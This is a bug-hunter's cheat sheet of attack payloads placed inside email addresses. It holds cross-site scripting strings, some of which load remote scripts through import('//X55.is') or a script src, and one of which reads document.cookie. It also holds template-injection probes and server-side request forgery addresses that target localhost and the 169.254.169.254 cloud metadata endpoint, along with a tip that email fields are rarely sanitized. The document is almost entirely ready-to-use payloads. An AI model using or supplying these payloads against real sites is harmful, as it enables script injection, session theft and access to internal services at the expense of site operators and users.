XSS

"><script>alert(1)</script>@test.com
"><svg/onload=alert(3)>@test.com
"><svg/onload=confirm(1337)>"@x.y
"<script src=//xsshere?"@email.com
"><Img/Src/OnError=alert(1)>"@gmail.com
"><Img/Src/OnError=import('//X55.is')>"@gmail.com

"><Svg/OnLoad=alert(1)>"@gmail.com
"><svg/onload=confirm(1)>"@x.y

test+(<script>alert(0)</script>)@example.com
[e-mail]'\"<svg/onload=alert(document.cookie)>

XSS in an email address is underrated. (email is rarely sanitized by companies). Use catch-all and then you can also verify your account (if required).

"><img/src/onerror=import('//domain/')>"@yourdomain.com

XSS

SSTI

test+${{7*7}}@example.com

test+(${{7*7}})@example.com

test-(${{7*7}})@example.com

SSRF

[e-mail]
[e-mail]
test@127.0.0.1
test@localhost
test@169.254.169.254
